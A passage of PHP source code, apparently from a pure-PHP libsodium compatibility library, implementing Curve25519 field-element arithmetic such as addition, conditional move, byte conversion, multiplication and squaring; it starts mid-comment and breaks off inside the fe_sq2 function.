     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function fe_add(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g
    ) {
        /** @var array<int, int> $arr */
        $arr = array();
        for ($i = 0; $i < 10; ++$i) {
            $arr[$i] = (int) ($f[$i] + $g[$i]);
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($arr);
    }

    /**
     * Constant-time conditional move.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
    public static function fe_cmov(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g,
        $b = 0
    ) {
        /** @var array<int, int> $h */
        $h = array();
        $b *= -1;
        for ($i = 0; $i < 10; ++$i) {
            /** @var int $x */
            $x = (($f[$i] ^ $g[$i]) & $b);
            $h[$i] = (int) ((int) ($f[$i]) ^ $x);
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h);
    }

    /**
     * Create a copy of a field element.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_copy(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h = clone $f;
        return $h;
    }

    /**
     * Give: 32-byte string.
     * Receive: A field element object to use for internal calculations.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @throws RangeException
     * @throws TypeError
     */
    public static function fe_frombytes($s)
    {
        if (self::strlen($s) !== 32) {
            throw new RangeException('Expected a 32-byte
string.');
        }
        /** @var int $h0 */
        $h0 = self::load_4($s);
        /** @var int $h1 */
        $h1 = self::load_3(self::substr($s, 4, 3)) << 6;
        /** @var int $h2 */
        $h2 = self::load_3(self::substr($s, 7, 3)) << 5;
        /** @var int $h3 */
        $h3 = self::load_3(self::substr($s, 10, 3)) << 3;
        /** @var int $h4 */
        $h4 = self::load_3(self::substr($s, 13, 3)) << 2;
        /** @var int $h5 */
        $h5 = self::load_4(self::substr($s, 16, 4));
        /** @var int $h6 */
        $h6 = self::load_3(self::substr($s, 20, 3)) << 7;
        /** @var int $h7 */
        $h7 = self::load_3(self::substr($s, 23, 3)) << 5;
        /** @var int $h8 */
        $h8 = self::load_3(self::substr($s, 26, 3)) << 4;
        /** @var int $h9 */
        $h9 = (self::load_3(self::substr($s, 29, 3)) & 8388607)
<< 2;

        /** @var int $carry9 */
        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;
        /** @var int $carry1 */
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        /** @var int $carry3 */
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        /** @var int $carry5 */
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;
        /** @var int $carry7 */
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        /** @var int $carry2 */
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        /** @var int $carry6 */
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;
        /** @var int $carry8 */
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }

    /**
     * Convert a field element to a byte string.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $h
     * @return string
     */
    public static function fe_tobytes(ParagonIE_Sodium_Core_Curve25519_Fe
$h)
    {
        /** @var int $h0 */
        $h0 = (int) $h[0];
        /** @var int $h1 */
        $h1 = (int) $h[1];
        /** @var int $h2 */
        $h2 = (int) $h[2];
        /** @var int $h3 */
        $h3 = (int) $h[3];
        /** @var int $h4 */
        $h4 = (int) $h[4];
        /** @var int $h5 */
        $h5 = (int) $h[5];
        /** @var int $h6 */
        $h6 = (int) $h[6];
        /** @var int $h7 */
        $h7 = (int) $h[7];
        /** @var int $h8 */
        $h8 = (int) $h[8];
        /** @var int $h9 */
        $h9 = (int) $h[9];

        /** @var int $q */
        $q = (self::mul($h9, 19, 5) + (1 << 24)) >> 25;
        /** @var int $q */
        $q = ($h0 + $q) >> 26;
        /** @var int $q */
        $q = ($h1 + $q) >> 25;
        /** @var int $q */
        $q = ($h2 + $q) >> 26;
        /** @var int $q */
        $q = ($h3 + $q) >> 25;
        /** @var int $q */
        $q = ($h4 + $q) >> 26;
        /** @var int $q */
        $q = ($h5 + $q) >> 25;
        /** @var int $q */
        $q = ($h6 + $q) >> 26;
        /** @var int $q */
        $q = ($h7 + $q) >> 25;
        /** @var int $q */
        $q = ($h8 + $q) >> 26;
        /** @var int $q */
        $q = ($h9 + $q) >> 25;

        $h0 += self::mul($q, 19, 5);

        /** @var int $carry0 */
        $carry0 = $h0 >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        /** @var int $carry1 */
        $carry1 = $h1 >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        /** @var int $carry2 */
        $carry2 = $h2 >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        /** @var int $carry3 */
        $carry3 = $h3 >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        /** @var int $carry4 */
        $carry4 = $h4 >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        /** @var int $carry5 */
        $carry5 = $h5 >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;
        /** @var int $carry6 */
        $carry6 = $h6 >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;
        /** @var int $carry7 */
        $carry7 = $h7 >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;
        /** @var int $carry8 */
        $carry8 = $h8 >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;
        /** @var int $carry9 */
        $carry9 = $h9 >> 25;
        $h9 -= $carry9 << 25;

        /**
         * @var array<int, int>
         */
        $s = array(
            (int) (($h0 >> 0) & 0xff),
            (int) (($h0 >> 8) & 0xff),
            (int) (($h0 >> 16) & 0xff),
            (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff),
            (int) (($h1 >> 6) & 0xff),
            (int) (($h1 >> 14) & 0xff),
            (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff),
            (int) (($h2 >> 5) & 0xff),
            (int) (($h2 >> 13) & 0xff),
            (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff),
            (int) (($h3 >> 3) & 0xff),
            (int) (($h3 >> 11) & 0xff),
            (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff),
            (int) (($h4 >> 2) & 0xff),
            (int) (($h4 >> 10) & 0xff),
            (int) (($h4 >> 18) & 0xff),
            (int) (($h5 >> 0) & 0xff),
            (int) (($h5 >> 8) & 0xff),
            (int) (($h5 >> 16) & 0xff),
            (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff),
            (int) (($h6 >> 7) & 0xff),
            (int) (($h6 >> 15) & 0xff),
            (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff),
            (int) (($h7 >> 5) & 0xff),
            (int) (($h7 >> 13) & 0xff),
            (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff),
            (int) (($h8 >> 4) & 0xff),
            (int) (($h8 >> 12) & 0xff),
            (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff),
            (int) (($h9 >> 2) & 0xff),
            (int) (($h9 >> 10) & 0xff),
            (int) (($h9 >> 18) & 0xff)
        );
        return self::intArrayToString($s);
    }

    /**
     * Is a field element negative? (1 = yes, 0 = no. Used in
calculations.)
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
fe_isnegative(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $str = self::fe_tobytes($f);
        return (int) (self::chrToInt($str[0]) & 1);
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnonzero(ParagonIE_Sodium_Core_Curve25519_Fe
$f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        /** @var string $zero */
        /** @var string $str */
        $str = self::fe_tobytes($f);
        return !self::verify_32($str, (string) $zero);
    }

    /**
     * Multiply two field elements
     *
     * h = f * g
     *
     * @internal You should not use this directly from another application
     *
     * @security Is multiplication a source of timing leaks? If so, can we
do
     *           anything to prevent that from happening?
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_mul(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g
    ) {
        /** @var int $f0 */
        $f0 = $f[0];
        /** @var int $f1 */
        $f1 = $f[1];
        /** @var int $f2 */
        $f2 = $f[2];
        /** @var int $f3 */
        $f3 = $f[3];
        /** @var int $f4 */
        $f4 = $f[4];
        /** @var int $f5 */
        $f5 = $f[5];
        /** @var int $f6 */
        $f6 = $f[6];
        /** @var int $f7 */
        $f7 = $f[7];
        /** @var int $f8 */
        $f8 = $f[8];
        /** @var int $f9 */
        $f9 = $f[9];
        /** @var int $g0 */
        $g0 = $g[0];
        /** @var int $g1 */
        $g1 = $g[1];
        /** @var int $g2 */
        $g2 = $g[2];
        /** @var int $g3 */
        $g3 = $g[3];
        /** @var int $g4 */
        $g4 = $g[4];
        /** @var int $g5 */
        $g5 = $g[5];
        /** @var int $g6 */
        $g6 = $g[6];
        /** @var int $g7 */
        $g7 = $g[7];
        /** @var int $g8 */
        $g8 = $g[8];
        /** @var int $g9 */
        $g9 = $g[9];
        $g1_19 = self::mul($g1, 19, 5);
        $g2_19 = self::mul($g2, 19, 5);
        $g3_19 = self::mul($g3, 19, 5);
        $g4_19 = self::mul($g4, 19, 5);
        $g5_19 = self::mul($g5, 19, 5);
        $g6_19 = self::mul($g6, 19, 5);
        $g7_19 = self::mul($g7, 19, 5);
        $g8_19 = self::mul($g8, 19, 5);
        $g9_19 = self::mul($g9, 19, 5);
        /** @var int $f1_2 */
        $f1_2 = $f1 << 1;
        /** @var int $f3_2 */
        $f3_2 = $f3 << 1;
        /** @var int $f5_2 */
        $f5_2 = $f5 << 1;
        /** @var int $f7_2 */
        $f7_2 = $f7 << 1;
        /** @var int $f9_2 */
        $f9_2 = $f9 << 1;
        $f0g0    = self::mul($f0,    $g0, 26);
        $f0g1    = self::mul($f0,    $g1, 25);
        $f0g2    = self::mul($f0,    $g2, 26);
        $f0g3    = self::mul($f0,    $g3, 25);
        $f0g4    = self::mul($f0,    $g4, 26);
        $f0g5    = self::mul($f0,    $g5, 25);
        $f0g6    = self::mul($f0,    $g6, 26);
        $f0g7    = self::mul($f0,    $g7, 25);
        $f0g8    = self::mul($f0,    $g8, 26);
        $f0g9    = self::mul($f0,    $g9, 26);
        $f1g0    = self::mul($f1,    $g0, 26);
        $f1g1_2  = self::mul($f1_2,  $g1, 25);
        $f1g2    = self::mul($f1,    $g2, 26);
        $f1g3_2  = self::mul($f1_2,  $g3, 25);
        $f1g4    = self::mul($f1,    $g4, 26);
        $f1g5_2  = self::mul($f1_2,  $g5, 25);
        $f1g6    = self::mul($f1,    $g6, 26);
        $f1g7_2  = self::mul($f1_2,  $g7, 25);
        $f1g8    = self::mul($f1,    $g8, 26);
        $f1g9_38 = self::mul($g9_19, $f1_2, 26);
        $f2g0    = self::mul($f2,    $g0, 26);
        $f2g1    = self::mul($f2,    $g1, 25);
        $f2g2    = self::mul($f2,    $g2, 26);
        $f2g3    = self::mul($f2,    $g3, 25);
        $f2g4    = self::mul($f2,    $g4, 26);
        $f2g5    = self::mul($f2,    $g5, 25);
        $f2g6    = self::mul($f2,    $g6, 26);
        $f2g7    = self::mul($f2,    $g7, 25);
        $f2g8_19 = self::mul($g8_19, $f2, 26);
        $f2g9_19 = self::mul($g9_19, $f2, 26);
        $f3g0    = self::mul($f3,    $g0, 26);
        $f3g1_2  = self::mul($f3_2,  $g1, 25);
        $f3g2    = self::mul($f3,    $g2, 26);
        $f3g3_2  = self::mul($f3_2,  $g3, 25);
        $f3g4    = self::mul($f3,    $g4, 26);
        $f3g5_2  = self::mul($f3_2,  $g5, 25);
        $f3g6    = self::mul($f3,    $g6, 26);
        $f3g7_38 = self::mul($g7_19, $f3_2, 26);
        $f3g8_19 = self::mul($g8_19, $f3, 25);
        $f3g9_38 = self::mul($g9_19, $f3_2, 26);
        $f4g0    = self::mul($f4,    $g0, 26);
        $f4g1    = self::mul($f4,    $g1, 25);
        $f4g2    = self::mul($f4,    $g2, 26);
        $f4g3    = self::mul($f4,    $g3, 25);
        $f4g4    = self::mul($f4,    $g4, 26);
        $f4g5    = self::mul($f4,    $g5, 25);
        $f4g6_19 = self::mul($g6_19, $f4, 26);
        $f4g7_19 = self::mul($g7_19, $f4, 26);
        $f4g8_19 = self::mul($g8_19, $f4, 26);
        $f4g9_19 = self::mul($g9_19, $f4, 26);
        $f5g0    = self::mul($f5,    $g0, 26);
        $f5g1_2  = self::mul($f5_2,  $g1, 25);
        $f5g2    = self::mul($f5,    $g2, 26);
        $f5g3_2  = self::mul($f5_2,  $g3, 25);
        $f5g4    = self::mul($f5,    $g4, 26);
        $f5g5_38 = self::mul($g5_19, $f5_2, 26);
        $f5g6_19 = self::mul($g6_19, $f5, 25);
        $f5g7_38 = self::mul($g7_19, $f5_2, 26);
        $f5g8_19 = self::mul($g8_19, $f5, 25);
        $f5g9_38 = self::mul($g9_19, $f5_2, 26);
        $f6g0    = self::mul($f6,    $g0, 26);
        $f6g1    = self::mul($f6,    $g1, 25);
        $f6g2    = self::mul($f6,    $g2, 26);
        $f6g3    = self::mul($f6,    $g3, 25);
        $f6g4_19 = self::mul($g4_19, $f6, 26);
        $f6g5_19 = self::mul($g5_19, $f6, 26);
        $f6g6_19 = self::mul($g6_19, $f6, 26);
        $f6g7_19 = self::mul($g7_19, $f6, 26);
        $f6g8_19 = self::mul($g8_19, $f6, 26);
        $f6g9_19 = self::mul($g9_19, $f6, 26);
        $f7g0    = self::mul($f7,    $g0, 26);
        $f7g1_2  = self::mul($f7_2,  $g1, 25);
        $f7g2    = self::mul($f7,    $g2, 26);
        $f7g3_38 = self::mul($g3_19, $f7_2, 26);
        $f7g4_19 = self::mul($g4_19, $f7, 26);
        $f7g5_38 = self::mul($g5_19, $f7_2, 26);
        $f7g6_19 = self::mul($g6_19, $f7, 25);
        $f7g7_38 = self::mul($g7_19, $f7_2, 26);
        $f7g8_19 = self::mul($g8_19, $f7, 25);
        $f7g9_38 = self::mul($g9_19,$f7_2, 26);
        $f8g0    = self::mul($f8,    $g0, 26);
        $f8g1    = self::mul($f8,    $g1, 25);
        $f8g2_19 = self::mul($g2_19, $f8, 26);
        $f8g3_19 = self::mul($g3_19, $f8, 26);
        $f8g4_19 = self::mul($g4_19, $f8, 26);
        $f8g5_19 = self::mul($g5_19, $f8, 26);
        $f8g6_19 = self::mul($g6_19, $f8, 26);
        $f8g7_19 = self::mul($g7_19, $f8, 26);
        $f8g8_19 = self::mul($g8_19, $f8, 26);
        $f8g9_19 = self::mul($g9_19, $f8, 26);
        $f9g0    = self::mul($f9,    $g0, 26);
        $f9g1_38 = self::mul($g1_19, $f9_2, 26);
        $f9g2_19 = self::mul($g2_19, $f9, 25);
        $f9g3_38 = self::mul($g3_19, $f9_2, 26);
        $f9g4_19 = self::mul($g4_19, $f9, 25);
        $f9g5_38 = self::mul($g5_19, $f9_2, 26);
        $f9g6_19 = self::mul($g6_19, $f9, 25);
        $f9g7_38 = self::mul($g7_19, $f9_2, 26);
        $f9g8_19 = self::mul($g8_19, $f9, 25);
        $f9g9_38 = self::mul($g9_19, $f9_2, 26);
        $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38
+ $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38;
        $h1 = $f0g1 + $f1g0    + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19
+ $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19;
        $h2 = $f0g2 + $f1g1_2  + $f2g0    + $f3g9_38 + $f4g8_19 + $f5g7_38
+ $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38;
        $h3 = $f0g3 + $f1g2    + $f2g1    + $f3g0    + $f4g9_19 + $f5g8_19
+ $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
        $h4 = $f0g4 + $f1g3_2  + $f2g2    + $f3g1_2  + $f4g0    + $f5g9_38
+ $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38;
        $h5 = $f0g5 + $f1g4    + $f2g3    + $f3g2    + $f4g1    + $f5g0   
+ $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19;
        $h6 = $f0g6 + $f1g5_2  + $f2g4    + $f3g3_2  + $f4g2    + $f5g1_2 
+ $f6g0    + $f7g9_38 + $f8g8_19 + $f9g7_38;
        $h7 = $f0g7 + $f1g6    + $f2g5    + $f3g4    + $f4g3    + $f5g2   
+ $f6g1    + $f7g0    + $f8g9_19 + $f9g8_19;
        $h8 = $f0g8 + $f1g7_2  + $f2g6    + $f3g5_2  + $f4g4    + $f5g3_2 
+ $f6g2    + $f7g1_2  + $f8g0    + $f9g9_38;
        $h9 = $f0g9 + $f1g8    + $f2g7    + $f3g6    + $f4g5    + $f5g4   
+ $f6g3    + $f7g2    + $f8g1    + $f9g0   ;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        /** @var int $carry1 */
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        /** @var int $carry5 */
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        /** @var int $carry2 */
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        /** @var int $carry6 */
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        /** @var int $carry3 */
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        /** @var int $carry7 */
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        /** @var int $carry8 */
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        /** @var int $carry9 */
        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }

    /**
     * Get the negative values for each piece of the field element.
     *
     * h = -f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
    public static function fe_neg(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h = new ParagonIE_Sodium_Core_Curve25519_Fe();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = -$f[$i];
        }
        return $h;
    }

    /**
     * Square a field element
     *
     * h = f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_sq(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];

        /** @var int $f0_2 */
        $f0_2 = $f0 << 1;
        /** @var int $f1_2 */
        $f1_2 = $f1 << 1;
        /** @var int $f2_2 */
        $f2_2 = $f2 << 1;
        /** @var int $f3_2 */
        $f3_2 = $f3 << 1;
        /** @var int $f4_2 */
        $f4_2 = $f4 << 1;
        /** @var int $f5_2 */
        $f5_2 = $f5 << 1;
        /** @var int $f6_2 */
        $f6_2 = $f6 << 1;
        /** @var int $f7_2 */
        $f7_2 = $f7 << 1;
        $f5_38 = self::mul($f5, 38, 6);
        $f6_19 = self::mul($f6, 19, 5);
        $f7_38 = self::mul($f7, 38, 6);
        $f8_19 = self::mul($f8, 19, 5);
        $f9_38 = self::mul($f9, 38, 6);
        $f0f0    = self::mul($f0,    $f0,    25);
        $f0f1_2  = self::mul($f0_2,  $f1,    24);
        $f0f2_2  = self::mul($f0_2,  $f2,    25);
        $f0f3_2  = self::mul($f0_2,  $f3,    24);
        $f0f4_2  = self::mul($f0_2,  $f4,    25);
        $f0f5_2  = self::mul($f0_2,  $f5,    25);
        $f0f6_2  = self::mul($f0_2,  $f6,    25);
        $f0f7_2  = self::mul($f0_2,  $f7,    24);
        $f0f8_2  = self::mul($f0_2,  $f8,    25);
        $f0f9_2  = self::mul($f0_2,  $f9,    25);
        $f1f1_2  = self::mul($f1_2,  $f1,    24);
        $f1f2_2  = self::mul($f1_2,  $f2,    25);
        $f1f3_4  = self::mul($f1_2,  $f3_2,  25);
        $f1f4_2  = self::mul($f1_2,  $f4,    25);
        $f1f5_4  = self::mul($f1_2,  $f5_2,  26);
        $f1f6_2  = self::mul($f1_2,  $f6,    25);
        $f1f7_4  = self::mul($f1_2,  $f7_2,  25);
        $f1f8_2  = self::mul($f1_2,  $f8,    25);
        $f1f9_76 = self::mul($f9_38, $f1_2,  25);
        $f2f2    = self::mul($f2,    $f2,    25);
        $f2f3_2  = self::mul($f2_2,  $f3,    24);
        $f2f4_2  = self::mul($f2_2,  $f4,    25);
        $f2f5_2  = self::mul($f2_2,  $f5,    25);
        $f2f6_2  = self::mul($f2_2,  $f6,    25);
        $f2f7_2  = self::mul($f2_2,  $f7,    24);
        $f2f8_38 = self::mul($f8_19, $f2_2,  26);
        $f2f9_38 = self::mul($f9_38, $f2,    25);
        $f3f3_2  = self::mul($f3_2,  $f3,    24);
        $f3f4_2  = self::mul($f3_2,  $f4,    25);
        $f3f5_4  = self::mul($f3_2,  $f5_2,  26);
        $f3f6_2  = self::mul($f3_2,  $f6,    25);
        $f3f7_76 = self::mul($f7_38, $f3_2,  25);
        $f3f8_38 = self::mul($f8_19, $f3_2,  25);
        $f3f9_76 = self::mul($f9_38, $f3_2,  25);
        $f4f4    = self::mul($f4,    $f4,    25);
        $f4f5_2  = self::mul($f4_2,  $f5,    25);
        $f4f6_38 = self::mul($f6_19, $f4_2,  26);
        $f4f7_38 = self::mul($f7_38, $f4,    25);
        $f4f8_38 = self::mul($f8_19, $f4_2,  26);
        $f4f9_38 = self::mul($f9_38, $f4,    25);
        $f5f5_38 = self::mul($f5_38, $f5,    25);
        $f5f6_38 = self::mul($f6_19, $f5_2,  26);
        $f5f7_76 = self::mul($f7_38, $f5_2,  26);
        $f5f8_38 = self::mul($f8_19, $f5_2,  26);
        $f5f9_76 = self::mul($f9_38, $f5_2,  26);
        $f6f6_19 = self::mul($f6_19, $f6,    25);
        $f6f7_38 = self::mul($f7_38, $f6,    25);
        $f6f8_38 = self::mul($f8_19, $f6_2,  26);
        $f6f9_38 = self::mul($f9_38, $f6,    25);
        $f7f7_38 = self::mul($f7_38, $f7,    24);
        $f7f8_38 = self::mul($f8_19, $f7_2,  25);
        $f7f9_76 = self::mul($f9_38, $f7_2,  25);
        $f8f8_19 = self::mul($f8_19, $f8,    25);
        $f8f9_38 = self::mul($f9_38, $f8,    25);
        $f9f9_38 = self::mul($f9_38, $f9,    25);
        $h0 = $f0f0   + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 +
$f5f5_38;
        $h1 = $f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38;
        $h2 = $f0f2_2 + $f1f1_2  + $f3f9_76 + $f4f8_38 + $f5f7_76 +
$f6f6_19;
        $h3 = $f0f3_2 + $f1f2_2  + $f4f9_38 + $f5f8_38 + $f6f7_38;
        $h4 = $f0f4_2 + $f1f3_4  + $f2f2    + $f5f9_76 + $f6f8_38 +
$f7f7_38;
        $h5 = $f0f5_2 + $f1f4_2  + $f2f3_2  + $f6f9_38 + $f7f8_38;
        $h6 = $f0f6_2 + $f1f5_4  + $f2f4_2  + $f3f3_2  + $f7f9_76 +
$f8f8_19;
        $h7 = $f0f7_2 + $f1f6_2  + $f2f5_2  + $f3f4_2  + $f8f9_38;
        $h8 = $f0f8_2 + $f1f7_4  + $f2f6_2  + $f3f5_4  + $f4f4    +
$f9f9_38;
        $h9 = $f0f9_2 + $f1f8_2  + $f2f7_2  + $f3f6_2  + $f4f5_2;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        /** @var int $carry1 */
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        /** @var int $carry5 */
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        /** @var int $carry2 */
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        /** @var int $carry6 */
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        /** @var int $carry3 */
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        /** @var int $carry7 */
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        /** @var int $carry8 */
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        /** @var int $carry9 */
        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }


    /**
     * Square and double a field element
     *
     * h = 2 * f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_sq2(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];

        /** @var int $f0_2 */
        $f0_2 = $f0 << 1;
        /** @var int $f1_2 */
        $f1_2 = $f1 << 1;
